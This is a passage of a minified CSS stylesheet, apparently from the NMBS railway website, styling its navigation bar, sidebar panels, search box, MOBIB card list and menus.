.form__button:before,.nav-sidebar__header .inbenta-search-box__form .form__button:before{color:#006ab3!important}@media (max-width:991px){.nav-sidebar-panel .inbenta-search-box__form .form__button:before,.nav-sidebar__header .inbenta-search-box__form .form__button:before{font-size:20px}}.nav-sidebar-panel .inbenta-nmbs .inbenta-search-box__form .form__input,.nav-sidebar__header .inbenta-nmbs .inbenta-search-box__form .form__input{border-right:none!important}@media (max-width:991px){.nav-sidebar-panel .inbenta-nmbs .inbenta-search-box__form .form__input,.nav-sidebar__header .inbenta-nmbs .inbenta-search-box__form .form__input{height:40px!important}}.nav-sidebar-panel .inbenta-nmbs,.nav-sidebar__header .inbenta-nmbs{padding-left:0!important;padding-right:0!important;border-radius:5px!important}@media (max-width:991px){.nav-sidebar-panel .inbenta-nmbs .inbenta-search-box__form .form__button,.nav-sidebar__header .inbenta-nmbs .inbenta-search-box__form .form__button{height:40px!important;width:40px!important}}.nav-sidebar-panel .inbenta-nmbs{margin-top:30px!important}.nav-sidebar__header .inbenta-nmbs{margin-top:10px!important}div.loader-nmbs{display:none;position:fixed;top:0;left:0;bottom:0;right:0;z-index:9999;background-color:hsla(0,0%,100%,.8)}div.loader-nmbs__img img{width:100%}div.loader-nmbs__img--small img{width:60%}div.loader-nmbs.is-active{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.message{position:relative}.message__icon{position:absolute;top:3px;left:0;color:#8c8c8c}.message__content{font-size:18px;color:#8c8c8c;padding-left:32px}.message__body{font-style:italic}.mobib-card-list{padding:0;margin:0;border:1px solid #f1f5f5;padding:20px}@media (min-width:1280px){.mobib-card-list{padding:40px}}.mobib-card-list>li{padding-left:0;margin-bottom:20px;padding-bottom:20px;border-bottom:1px solid #f1f5f5;min-height:100px}@media (min-width:650px){.mobib-card-list>li{margin-bottom:40px;padding-bottom:40px}}.mobib-card-list>li:last-child{margin-bottom:0;padding-bottom:0;border-bottom:0}.mobib-card-list>li:before{display:none}.mobib-card-list .alert{margin-top:40px;margin-bottom:0}.mobib-card-list .alert:before{left:50px}.mobib-card{position:relative}.mobib-card-image{position:relative;fill:#3b5998}@media (min-width:650px){.mobib-card{padding-left:120px;display:-ms-flexbox;display:flex}.mobib-card-main{-ms-flex:3;flex:3;margin-right:20px}.mobib-card-actions{-ms-flex:2;flex:2}.mobib-card-image{position:absolute;top:-12px;left:0;width:100px}.mobib-card .well{padding:20px}}.mobib-card .icon__holder{-ms-flex:1 0 auto;flex:1 0 auto}.mobib-card-actions,.mobib-card-actions .btn+.btn{margin-top:20px}@media (min-width:650px){.mobib-card-actions{margin-top:0}}.mobib-card-supplements{padding:0;margin:5px 0 0}.mobib-card-supplements li{display:inline-block;padding-left:0;margin-bottom:0;color:#000}.mobib-card-supplements li:before{display:none}.mobib-card-supplements li .icon{position:relative}.mobib-card-products-dropdown .dropdown__list,.mobib-card-products-dropdown .dropdown__trigger{margin-bottom:20px}.mobib-card-products-dropdown .dropdown__list>li{margin-bottom:10px}.mobib-card-products-dropdown .dropdown__list>li:before{display:none}.mobib-card-product{border:2px solid #f1f5f5}.consent-visible .navigation-bar,.noticed .navigation-bar{position:relative;z-index:1002}.headnav .navigation-bar{position:fixed;z-index:1002}.navigation-bar{position:fixed;top:0;left:0;z-index:1001;width:100%;display:-ms-flexbox;display:flex;background:transparent;height:80px;border-bottom:1px solid #eee}.navigation-bar.hideNav{transition:all .3s;top:-81px;visibility:hidden!important}.navigation-bar .button{text-align:center;line-height:1.15}.navigation-bar .button:hover{text-decoration:none}.navigation-bar a{text-decoration:none!important}.navigation-bar .link:hover,.navigation-bar a:hover{text-decoration:underline!important}.navigation-bar .basket-btn,.navigation-bar .button,.navigation-bar .link,.navigation-bar button{color:#3a3a3a;font-size:16px;font-weight:700;text-decoration:none!important}.navigation-bar .basket-btn:first-of-type,.navigation-bar .button:first-of-type,.navigation-bar .link:first-of-type,.navigation-bar button:first-of-type{padding:0}.navigation-bar__btn{margin-left:25px;float:left}.navigation-bar__btn,.navigation-bar__btn button:not(.btn){cursor:pointer;position:relative;padding:0;background:transparent;border:0;height:30px}.navigation-bar__btn:first-of-type{margin:0}.navigation-bar__btn .icon:not(.icon--dropdown){position:relative;height:100%}.navigation-bar__search form{background:#fff;position:absolute;z-index:1000;padding:20px;padding-top:10px;display:none;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;box-shadow:0 4px 10px 0 rgba(50,50,50,.05)}.navigation-bar__search form button{margin-left:20px}.navigation-bar__search form .btn{font-size:16px;color:#fff;padding:10.5px 19.5px 9.75px}.navigation-bar__search form.is-open{display:-ms-flexbox;display:flex}.navigation-bar__search form .input__lbl{display:none}@media (min-width:992px){.navigation-bar__search form{padding:20px 40px;padding-top:10px}.navigation-bar__search form .input__lbl{display:table-cell}}@media (min-width:1280px){.navigation-bar__search form{padding:20px 60px;padding-top:10px}}.navigation-bar--mobile{-ms-flex-align:center;align-items:center}.navigation-bar--mobile>button{color:currentColor}.navigation-bar--loggedin .link--login{display:none}.navigation-bar--loggedin .navigation-bar__btn--profile{display:inline-block}.navigation-bar--reversed{max-width:none}.navigation-bar--reversed .navigation-bar__main{padding-left:20px;max-width:none;-ms-flex-pack:start;justify-content:flex-start}.navigation-bar__nmbs-logo{position:relative;top:-6px}.navigation-bar__nmbs-logo .icon{width:45px;height:40px}.navigation-bar .navigation-bar__btn{float:none}.navigation-bar__sidebar{display:-ms-flexbox;display:flex;-ms-flex-pack:justify;justify-content:space-between;-ms-flex-align:center;align-items:center;padding:20px}@media (min-width:991px){.navigation-bar__sidebar .navigation-bar__btn,.navigation-bar__sidebar .navigation-bar__btn button,.navigation-bar__sidebar .navigation-bar__item-link,.navigation-bar__sidebar .navigation-bar__item .link,.navigation-bar__sidebar .navigation-bar__logo{color:#fff}}.navigation-bar__sidebar.bg-sky .navigation-bar__btn,.navigation-bar__sidebar.bg-sky .navigation-bar__btn button,.navigation-bar__sidebar.bg-sky .navigation-bar__item-link,.navigation-bar__sidebar.bg-sky .navigation-bar__item .link,.navigation-bar__sidebar.bg-sky .navigation-bar__logo,.navigation-bar__sidebar.bg-white .navigation-bar__btn,.navigation-bar__sidebar.bg-white .navigation-bar__btn button,.navigation-bar__sidebar.bg-white .navigation-bar__item-link,.navigation-bar__sidebar.bg-white .navigation-bar__item .link,.navigation-bar__sidebar.bg-white .navigation-bar__logo{color:#3a3a3a}.navigation-bar__sidebar .changeroute{display:none}.navigation-bar__sidebar.navigation-bar__sidebar--show-change .changeroute{display:block}.navigation-bar--nosidebar .navigation-bar__nosidebar{display:-ms-flexbox;display:flex;-ms-flex-pack:justify;justify-content:space-between;-ms-flex-align:center;align-items:center;padding:20px}.navigation-bar--nosidebar .navigation-bar__main{max-width:none}.navigation-bar__main{-ms-flex:1;flex:1;display:-ms-flexbox;display:flex;-ms-flex-pack:justify;justify-content:space-between;-ms-flex-align:center;align-items:center;padding:20px;padding-left:0;max-width:1280px;background-color:#fff}@media (max-width:991px){.navigation-bar__main{background-color:#fff!important}}@media (min-width:650px){.navigation-bar--reversed .navigation-bar__main{background-color:#f1f5f5}}.navigation-bar__left,.navigation-bar__right{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.navigation-bar__left .navigation-bar__items,.navigation-bar__left .navigation-bar__items .navigation-bar__item{display:none}@media (min-width:1280px){.navigation-bar__left .navigation-bar__items,.navigation-bar__left .navigation-bar__items .navigation-bar__item{display:block}}@media (min-width:650px) and (max-width:1279px){.navigation-bar__left .navigation-bar__items,.navigation-bar__left .navigation-bar__items .navigation-bar__item:first-child,.navigation-bar__left .navigation-bar__items .navigation-bar__item:first-child+.navigation-bar__item{display:block}}.navigation-bar__right{-ms-flex-pack:end;justify-content:flex-end}@media (min-width:992px){.navigation-bar:not(.navigation-bar--reversed) .navigation-bar__right{min-width:300px}}.navigation-bar__logo{position:relative;color:#3a3a3a;display:block;height:40px;width:45px}.navigation-bar__logo .icon{width:100%;height:100%;fill:currentColor}.navigation-bar__items{margin:0}.navigation-bar__item{float:left;padding:0;margin-right:20px;height:30px}.navigation-bar__item:last-child{margin-right:0}.navigation-bar__item:before{display:none}.navigation-bar__item-link{color:#3a3a3a;font-weight:700}.navigation-bar__item-langswitch .dropdown,.navigation-bar__item-with-submenu .dropdown{position:relative;margin:0;padding:0}.navigation-bar__item-langswitch .dropdown__list,.navigation-bar__item-with-submenu .dropdown__list{position:absolute}.navigation-bar__item-langswitch .link,.navigation-bar__item-with-submenu .link{color:#3a3a3a;font-weight:700}@media (min-width:992px){.navigation-bar__logo{height:60px;width:65px}.navigation-bar__main--dark,.navigation-bar__sidebar--dark{background-color:#006ab3!important;color:#fff}}@media (min-width:992px){.navigation-bar{z-index:900;border-bottom:0}.navigation-bar__sidebar{-ms-flex:350px 0 0px;flex:350px 0 0;max-width:350px;padding:20px 30px}.navigation-bar__main{padding:20px 30px}.navigation-bar__item{margin-right:15px}}@media (min-width:1280px){.navigation-bar__sidebar{-ms-flex:350px 0 0px;flex:350px 0 0;max-width:350px;padding:20px 30px}.navigation-bar__main{padding:20px 60px}}@media (min-width:1440px){.navigation-bar__sidebar{padding:20px 30px;-ms-flex:420px 0 0px;flex:420px 0 0;max-width:420px}}@media (max-width:991px){.navigation-bar__sidebar{background-color:#fff!important}.navigation-bar__main--dark,.navigation-bar__sidebar--dark{background-color:#006ab3!important;color:#fff}.navigation-bar__sidebar .navigation-bar__btn,.navigation-bar__sidebar .navigation-bar__item-link,.navigation-bar__sidebar .navigation-bar__logo{color:#3a3a3a}}@media print{.navigation-bar{display:none}}.navigation-bar__item-langswitch>.dropdown--outline .dropdown__list .dropdown__item,.navigation-bar__item-langswitch>.dropdown .dropdown__list .dropdown__item{padding:0}.navigation-bar__item-langswitch>.dropdown--outline .dropdown__list .dropdown__item a,.navigation-bar__item-langswitch>.dropdown .dropdown__list .dropdown__item a{padding:5px 20px;display:block}.navigation-bar__item-langswitch>.dropdown--outline .dropdown__list .dropdown__item a:focus,.navigation-bar__item-langswitch>.dropdown--outline .dropdown__list .dropdown__item a:hover,.navigation-bar__item-langswitch>.dropdown .dropdown__list .dropdown__item a:focus,.navigation-bar__item-langswitch>.dropdown .dropdown__list .dropdown__item a:hover{outline:none;color:#000!important}.menu{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.menu__label{display:none}.menu__icon{display:block;width:28px;height:28px}@media (min-width:650px){.menu__label{display:block;margin-right:10px}}.account{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.account__label{display:none;margin-left:10px}.account__icon{display:block;width:24px;height:24px}.account--loggedin .account__name{background:#f1f5f5;color:#006ab3;width:29px;height:29px;border-radius:18px;font-size:16px;padding:6px 0}.account--loggedin .account__icon{display:none}@media (min-width:1440px){.account__label{display:block}}.navigation--demo .sidebar--navigation{display:block!important;transform:translate(0)!important}.navigation--demo .navigation__panel-item.active{opacity:1}.navigation--demo>.nav-sidebar-panel{position:relative;left:0!important;width:100%!important}.navigation--demo>.nav-sidebar-panel .navigation__cta-visual{float:none;-ms-flex-order:0;order:0;width:100%;height:auto}.navigation__list{padding:14px 0;margin:0}.navigation__list:before,.navigation__list li:before{display:none}.navigation__list li{display:block;margin:7px 0;color:#8c8c8c;padding-left:0;font-size:20px;font-weight:700;transition:all .15s ease-in-out;border-bottom:1px solid #f1f5f5}.navigation__list li hr{opacity:.5}.navigation__list li a{color:currentColor;display:block;padding:8px 0}.navigation__list li a:hover{color:currentColor}.navigation__list li a.with-icon .icon{position:relative;transform:translateY(3px) translateX(-8px)}.navigation__list li.active,.navigation__list li:active{color:#006ab3}.navigation__list li:hover{color:#ddf1fa}.navigation__list li:last-of-type{border-bottom:none}.navigation__items{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-bottom:30px}.navigation__item-title{color:#006ab3;font-weight:700;margin-bottom:10px;margin-top:0}.navigation__item-title--disabled{color:#3a3a3a}.navigation__item .link{color:#0069b4;font-weight:400;display:block;text-decoration:none!important;margin:10px 0}.navigation__item .link:hover{text-decoration:underline!important}.navigation__item .link .icon{fill:#006ab3}.navigation__item--last{-ms-flex-order:6;order:6}.navigation__cta{margin-top:40px}.navigation__cta-visual{background-position:50%;background-size:cover;width:100%;min-height:250px}.navigation__cta-content{padding:20px;background:#f1f5f5}.navigation__panel-item{display:none;opacity:0}.navigation__panel-item.active{display:block}.navigation__panel-item.show{opacity:1}.navigation__planner{display:none}.navigation__links-item{padding-left:0}.navigation__links-item:before{display:none}@media (min-width:992px){.navigation__item{margin-top:40px}.navigation__item-title{margin-top:1rem}.navigation__list li{text-align:right;border:none;color:#fff}.navigation__list li.active,.navigation__list li:active{color:#ddf1fa}.navigation__list li:hover{color:#eff6f9}.navigation__list li:after{content:"";display:none;position:absolute;right:-35px;top:7px;pointer-events:none;outline:none;outline-color:#fff;outline-width:thick;width:0;height:0;border-style:solid;border-width:15px 15px 15px 0;border-color:transparent #fff transparent transparent;animation:b .1s forwards}.navigation__list li.active:after{display:block}}@media (min-width:1280px){.navigation__list li:after{right:-50px}.navigation__cta{margin-top:40px;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.navigation__cta>.navigation__cta-content{-ms-flex-order:0;order:0;-ms-flex:3;flex:3}.navigation__cta>.navigation__cta-content+.navigation__cta-visual{float:right;-ms-flex-order:1;order:1;-ms-flex:1;flex:1}.navigation__cta>.navigation__cta-visual{-ms-flex-order:0;order:0;-ms-flex:1;flex:1}.navigation__cta>.navigation__cta-visual+.navigation__cta-content{float:right;-ms-flex-order:1;order:1;-ms-flex:3;flex:3}}@media (min-width:650px) and (max-width:991px){.sidebar--navigation .sidebar__cta{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.sidebar--navigation .sidebar__cta>.btn,.sidebar--navigation .sidebar__cta>.link{display:block;width:45%;margin:0}.sidebar--navigation .sidebar__cta>.btn{margin-right:5%}}@media (min-width:992px){.sidebar--navigation .sidebar__btn-back{display:none!important}}@keyframes b{0%{transform:translateX(15px)}to{transform:translateX(0)}}.nav-sidebar-panel{display:none;opacity:0;background:#fff;color:#3a3a3a;position:absolute;min-height:100vh;width:100%;z-index:5;padding:0 20px 30px}.nav-sidebar-panel__background{display:none;position:fixed;z-index:900;opacity:0;cursor:pointer;transform:translateZ(0);background:#f1f5f5;top:0;left:420px;width:calc(100vw - 420px);height:100%}.nav-sidebar-panel__background--open,.nav-sidebar-panel__close{display:none}.nav-sidebar-panel__footer,.nav-sidebar-panel__header{width:100%;padding:30px 0}.nav-sidebar-panel__footer:after,.nav-sidebar-panel__footer:before,.nav-sidebar-panel__header:after,.nav-sidebar-panel__header:before{content:" ";display:table}.nav-sidebar-panel__footer:after,.nav-sidebar-panel__header:after{clear:both}.nav-sidebar-panel__footer-title .h1,.nav-sidebar-panel__footer-title p,.nav-sidebar-panel__header-title .h1,.nav-sidebar-panel__header-title p{margin:0}.nav-sidebar-panel__footer-title p,.nav-sidebar-panel__header-title p{color:#8c8c8c;font-size:16px}.nav-sidebar-panel__footer-title span,.nav-sidebar-panel__header-title span{font-style:italic}.nav-sidebar-panel__footer>.btn,.nav-sidebar-panel__header>.btn{margin:10px 0 0}.nav-sidebar-panel__footer--info,.nav-sidebar-panel__header--info{padding:30px 0 0}.nav-sidebar-panel__footer--line,.nav-sidebar-panel__header--line{border-bottom:2px solid #f1f5f5}.nav-sidebar-panel__footer{border-top:2px solid #f1f5f5}.nav-sidebar-panel__footer-title:after,.nav-sidebar-panel__footer-title:before{content:" ";display:table}.nav-sidebar-panel__footer-title:after{clear:both}.nav-sidebar-panel--navigation{top:0}.nav-sidebar--panel .nav-sidebar-panel--fixed-open,.nav-sidebar-panel--open{display:block;opacity:1}@media (min-width:650px){.nav-sidebar-panel__content{padding-top:0}.nav-sidebar-panel__footer,.nav-sidebar-panel__header{display:-ms-flexbox;display:flex;-ms-flex-align:end;align-items:flex-end}.nav-sidebar-panel__footer-title,.nav-sidebar-panel__header-title{-ms-flex:1;flex:1}.nav-sidebar-panel__footer-title span,.nav-sidebar-panel__header-title span{display:inline-block}.nav-sidebar-panel__footer>.btn,.nav-sidebar-panel__header>.btn{margin:0 0 5px 15px}}@media (min-width:992px){.nav-sidebar-panel{left:350px;top:0;width:calc(100vw - 385px);padding:40px 40px 50px;box-shadow:2px 0 3px 0 rgba(0,0,0,.2)}.nav-sidebar-panel--fixed-open{display:block;opacity:1}.nav-sidebar-panel--small{max-width:350px}.nav-sidebar-panel--medium{max-width:690px}.nav-sidebar-panel__footer,.nav-sidebar-panel__header{padding:67px 0 40px}.nav-sidebar-panel__footer--info,.nav-sidebar-panel__header--info{padding:60px 0 0}.nav-sidebar-panel__footer{padding:50px 0 40px}.nav-sidebar-panel__header-title p{font-size:18px}.nav-sidebar-panel__background--open{display:block}.nav-sidebar-panel__close{display:block;position:absolute;top:40px;right:40px}.nav-sidebar-panel--arrow{width:100%}.nav-sidebar-panel--arrow:after{content:"";display:block;position:absolute;right:-35px;top:calc(50% - 15px);pointer-events:none;outline:none;outline-color:#fff;outline-width:thick;width:0;height:0;border-style:solid;border-width:15px 15px 15px 0;border-color:transparent #fff transparent transparent;animation:b .1s forwards}.nav-sidebar-panel--navigation{transform:translateX(0)}.nav-sidebar-panel:not(.nav-sidebar-panel--open):not(.nav-sidebar-panel--fixed-open){display:none}}@media (min-width:1280px){.nav-sidebar-panel{left:420px;padding:40px 60px 50px;width:calc(100vw - 420px)}.nav-sidebar-panel--small{max-width:420px}.nav-sidebar-panel--arrow:after{right:-50px}}.nav-sidebar{position:relative;z-index:5;color:#fff;width:100%;background:#006ab3;overflow:hidden}.nav-sidebar a{text-decoration:none}.nav-sidebar a:hover{text-decoration:underline}.nav-sidebar__container{width:100%;position:relative;background:#006ab3;z-index:9999!important}.nav-sidebar__container--right{right:0}.nav-sidebar__content{background:inherit;width:100%;padding:0 20px;overflow:hidden}.nav-sidebar__content--pad-tb{padding:20px 0}.nav-sidebar__content--pad-trl{padding:20px 20px 0}.nav-sidebar__content--pad-brl{padding:0 20px 20px}.nav-sidebar__content--pad-full{padding:20px}.nav-sidebar__content--pad-none{padding:0}.nav-sidebar__content .baseline{margin-top:20px;margin-left:-10px;margin-right:-10px}.nav-sidebar__title{background:inherit;padding:20px}.nav-sidebar__title h1{color:currentColor;font-size:30px;font-weight:700;line-height:1.1em;margin-bottom:10px}.nav-sidebar__title--favorite{width:.7em;height:.7em;stroke:#fff;fill:none;cursor:pointer;transition:stroke .18s ease-in-out}.nav-sidebar__title--favorite.checked,.nav-sidebar__title--favorite:hover{stroke:#f8e81c}.nav-sidebar__title--favorite.checked{fill:#f8e81c}@media (min-width:650px){.nav-sidebar__cta{padding:30px 0}}.nav-sidebar__cta .link{margin:15px 0;color:#fff;display:block;text-decoration:none!important}.nav-sidebar__cta .link:hover{text-decoration:underline!important}.nav-sidebar__description{color:#ddf1fa;font-size:18px}.nav-sidebar__header{padding:10px 20px;background:inherit;z-index:6;width:100%;color:#fff;transition:background .18s ease-in-out}.nav-sidebar__logo{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;height:40px;color:currentColor}.nav-sidebar__logo--icon{fill:currentColor;position:relative;height:40px;width:45px}.nav-sidebar__logo a{color:currentColor}.nav-sidebar__btn{color:#fff}.nav-sidebar__btn>a,.nav-sidebar__btn>button{color:currentColor}.nav-sidebar__btn-back,.nav-sidebar__btn-changeroute,.nav-sidebar__btn-nav{display:none}.nav-sidebar .link{color:currentColor}.nav-sidebar__footer{width:100%;padding-top:45px;padding-bottom:45px;background:inherit}.nav-sidebar__footer--content{display:none;padding:0 20px}.nav-sidebar__baseline{height:65px;width:91.05263%;position:relative;margin:0 auto;background-image:url('data:image/svg+xml;utf8,');background-size:auto 27px}.nav-sidebar__baseline,.nav-sidebar__baseline--dark{background-repeat:no-repeat;background-position:100% 0}.nav-sidebar__baseline--dark{background-image:url('data:image/svg+xml;utf8,')}.nav-sidebar__block{width:100%;position:absolute;background:inherit;z-index:1}.nav-sidebar__block--inverse{background:#006ab3;color:#fff}.nav-sidebar__block--flex{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.nav-sidebar__block+.nav-sidebar__block{top:0;z-index:2}.nav-sidebar__block+.nav-sidebar__block:not(.nav-sidebar__block--active){transform:translateX(102%)}.nav-sidebar__block+.nav-sidebar__block .nav-sidebar__header{padding-top:0}.nav-sidebar__block+.nav-sidebar__block .nav-sidebar__logo{display:none}.nav-sidebar__block--active{position:relative}@media (min-width:991px){.nav-sidebar__header{position:relative}}@media (min-width:650px){.nav-sidebar{padding-top:0}}@media (min-width:650px) and (max-width:991px){.nav-sidebar__header{position:relative;padding:10px 20px}.nav-sidebar__container--fixed{position:fixed;top:0}.nav-sidebar__container--fixed-bottom{position:fixed;bottom:0}.nav-sidebar__header{padding:20px 35px}.nav-sidebar__content{padding:0 35px}.nav-sidebar__content--pad-tb{padding:35px 0}.nav-sidebar__content--pad-trl{padding:35px 35px 0}.nav-sidebar__content--pad-brl{padding:0 35px 35px}.nav-sidebar__content--pad-full{padding:35px}.nav-sidebar__content--pad-none{padding:0}.nav-sidebar__content .baseline{margin-left:-17.5px;margin-right:-17.5px}.nav-sidebar__title{padding:30px 35px}.nav-sidebar__title span{display:block;font-size:33px}.nav-sidebar__footer--content{padding:0 35px}}@media (min-width:992px){.nav-sidebar{min-height:calc(100vh - 85px);height:calc(100% - 85px);padding-top:80px}.nav-sidebar__container{max-width:350px;float:left}.nav-sidebar__container--right{float:right}.nav-sidebar__btn-nav{display:none}.nav-sidebar__header{padding:20px 30px}.nav-sidebar__content{padding:0 30px}.nav-sidebar__content--pad-tb{padding:30px 0}.nav-sidebar__content--pad-trl{padding:30px 30px 0}.nav-sidebar__content--pad-brl{padding:0 30px 30px}.nav-sidebar__content--pad-full{padding:30px}.nav-sidebar__content--pad-none{padding:0}.nav-sidebar__content .baseline{margin-left:-15px;margin-right:-15px}.nav-sidebar__title{padding:25px 30px}.nav-sidebar__title h1{font-size:36px}.nav-sidebar__footer--content{display:block;padding:0 30px}.nav-sidebar__btn-close{display:block;float:right}.nav-sidebar__block{position:relative;min-height:calc(100vh - 85px);height:100%}.nav-sidebar__block+.nav-sidebar__block{position:absolute}.nav-sidebar__description{font-size:20px}.nav-sidebar__background{display:block;top:0;width:350px;height:100%;position:fixed;background:inherit}}@media (min-width:1280px){.nav-sidebar__container{max-width:420px}.nav-sidebar__header{padding:25px 50px}.nav-sidebar__title{padding:25px 50px 30px}.nav-sidebar__content{padding:0 50px}.nav-sidebar__content--pad-tb{padding:50px 0}.nav-sidebar__content--pad-trl{padding:50px 50px 0}.nav-sidebar__content--pad-brl{padding:0 50px 50px}.nav-sidebar__content--pad-full{padding:50px}.nav-sidebar__content--pad-none{padding:0}.nav-sidebar__content .baseline{margin-left:-25px;margin-right:-25px}.nav-sidebar__footer--content{padding:0 50px}.nav-sidebar__background{width:420px}}.nav-sidebar--animation{overflow:hidden}.nav-sidebar__container--active+.nav-sidebar__container{position:absolute;top:0}.nav-sidebar__container--active.nav-sidebar--panel .nav-sidebar__btn-close{opacity:0}.nav-sidebar--hide-second .nav-sidebar+.nav-sidebar{display:none}@media (max-width:991px){.nav-sidebar--panel .nav-sidebar{position:absolute}.nav-sidebar--panel .nav-sidebar-panel{position:relative;left:0}}.nav-sidebar--no-pad,.nav-sidebar--no-pad .nav-sidebar__content,.nav-sidebar--no-pad .nav-sidebar__footer--content,.nav-sidebar--no-pad .nav-sidebar__header,.nav-sidebar--no-pad .nav-sidebar__title{padding-left:0;padding-right:0}@media (max-width:991px){.nav-sidebar--with-top-arrow-mobile{position:relative}.nav-sidebar--with-top-arrow-mobile:before{background-color:inherit;position:absolute;left:50%;top:0;bottom:auto;content:"";width:20px;height:20px;transform:translate3d(-50%,-50%,0) rotate(45deg)}.nav-sidebar--with-bottom-arrow-mobile{position:relative}.nav-sidebar--with-bottom-arrow-mobile:before{background-color:inherit;position:absolute;left:50%;top:auto;bottom:-20px;content:"";width:20px;height:20px;transform:translate3d(-50%,-50%,0) rotate(45deg)}}@media (min-width:992px){.nav-sidebar--with-top-arrow{position:relative}.nav-sidebar--with-top-arrow:before{background-color:inherit;position:absolute;left:50%;top:0;bottom:auto;content:"";width:20px;height:20px;transform:translate3d(-50%,-50%,0) rotate(45deg)}.nav-sidebar--with-bottom-arrow{position:relative}.nav-sidebar--with-bottom-arrow:before{background-color:inherit;position:absolute;left:50%;top:auto;bottom:-20px;content:"";width:20px;height:20px;transform:translate3d(-50%,-50%,0) rotate(45deg)}}.nav-sidebar--white,.nav-sidebar--white .nav-sidebar{background-color:#fff;color:#3a3a3a}.nav-sidebar--white button:not(.btn--secondary){color:#3a3a3a}.nav-sidebar--white .nav-sidebar__header{background:#fff;color:#3a3a3a}.nav-sidebar--white .nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}.nav-sidebar--grey,.nav-sidebar--grey .nav-sidebar{background-color:#f1f5f5;color:#3a3a3a}.nav-sidebar--grey button:not(.btn--secondary){color:#3a3a3a}.nav-sidebar--grey .nav-sidebar__header{background:#f1f5f5;color:#3a3a3a}.nav-sidebar--grey .nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}.nav-sidebar--purple,.nav-sidebar--purple .nav-sidebar{background-color:#66469b;color:#fff}.nav-sidebar--purple button:not(.btn--secondary){color:#fff}.nav-sidebar--purple .nav-sidebar__header{background:#66469b;color:#fff}.nav-sidebar--purple .nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}.nav-sidebar--bottom-graphic:not(.nav-sidebar__title){background-repeat:no-repeat;background-position:bottom;background-size:contain}.nav-sidebar--bottom-graphic:not(.nav-sidebar__title) .nav-sidebar__block{background:transparent}.nav-sidebar--no-footer-content .nav-sidebar__footer{margin-top:50px}.nav-sidebar--no-footer-content .nav-sidebar__footer--content,.nav-sidebar--only-menu .nav-sidebar__content:not(.nav-sidebar--show-mobile),.nav-sidebar--only-menu .nav-sidebar__cta:not(.nav-sidebar--show-mobile),.nav-sidebar--only-menu .nav-sidebar__footer:not(.nav-sidebar--show-mobile),.nav-sidebar--only-menu .nav-sidebar__title:not(.nav-sidebar--show-mobile){display:none}@media (max-width:991px){.nav-sidebar--only-menu-mobile .nav-sidebar__content:not(.nav-sidebar--show-mobile),.nav-sidebar--only-menu-mobile .nav-sidebar__cta:not(.nav-sidebar--show-mobile),.nav-sidebar--only-menu-mobile .nav-sidebar__footer:not(.nav-sidebar--show-mobile),.nav-sidebar--only-menu-mobile .nav-sidebar__title:not(.nav-sidebar--show-mobile){display:none}}@media (min-width:992px){.nav-sidebar--only-menu-desktop .nav-sidebar__content:not(.nav-sidebar--show-mobile),.nav-sidebar--only-menu-desktop .nav-sidebar__cta:not(.nav-sidebar--show-mobile),.nav-sidebar--only-menu-desktop .nav-sidebar__footer:not(.nav-sidebar--show-mobile),.nav-sidebar--only-menu-desktop .nav-sidebar__title:not(.nav-sidebar--show-mobile){display:none}}.nav-sidebar--show-back .nav-sidebar__btn-back,.nav-sidebar--show-change .nav-sidebar__btn-changeroute,.nav-sidebar--show-close .nav-sidebar__btn-close{display:block}@media (max-width:991px){.nav-sidebar--show-menu .nav-sidebar__btn-nav{display:block}}.nav-sidebar--navigation{z-index:999;left:0;top:0;display:none;position:absolute;transform:translateY(-100%)}.nav-sidebar--navigation.nav-sidebar--open{display:block;min-height:100vh}.nav-sidebar--navigation .nav-sidebar__header .link{color:#fff}.nav-sidebar--planner.nav-sidebar--open{padding-bottom:0}.nav-sidebar--planner .nav-sidebar{background:#f1f5f5}.nav-sidebar--planner .nav-sidebar__content{padding:0}.nav-sidebar--planner .nav-sidebar__title{padding:30px 0}@media (max-width:991px){.nav-sidebar--navigation .nav-sidebar{background:#fff}.nav-sidebar--navigation .nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}.nav-sidebar--navigation .nav-sidebar__block{position:relative}.nav-sidebar--show-menu .nav-sidebar__btn-menu{display:-ms-flexbox;display:flex}.nav-sidebar--panel .nav-sidebar,.nav-sidebar--panel .nav-sidebar__block{min-height:0}.nav-sidebar--panel .nav-sidebar--active{position:absolute}.nav-sidebar--navigation__block{position:relative}.nav-sidebar--small-panel .nav-sidebar-panel{top:85px}.nav-sidebar--detail-panel.nav-sidebar--panel .nav-sidebar__content{position:absolute}.nav-sidebar--white-mobile,.nav-sidebar--white-mobile .nav-sidebar{background:#fff;color:#3a3a3a}.nav-sidebar--white-mobile button{color:#3a3a3a}.nav-sidebar--white-mobile .nav-sidebar__header{background:#fff;color:#3a3a3a}.nav-sidebar--white-mobile .nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}.nav-sidebar--grey-mobile,.nav-sidebar--grey-mobile .nav-sidebar{background:#f1f5f5;color:#3a3a3a}.nav-sidebar--grey-mobile button{color:#3a3a3a}.nav-sidebar--grey-mobile .nav-sidebar__header{background:#f1f5f5;color:#3a3a3a}.nav-sidebar--grey-mobile .nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}.nav-sidebar--purple-mobile,.nav-sidebar--purple-mobile .nav-sidebar{background:#66469b;color:#fff}.nav-sidebar--purple-mobile button{color:#fff}.nav-sidebar--purple-mobile .nav-sidebar__header{background:#66469b;color:#fff}.nav-sidebar--purple-mobile 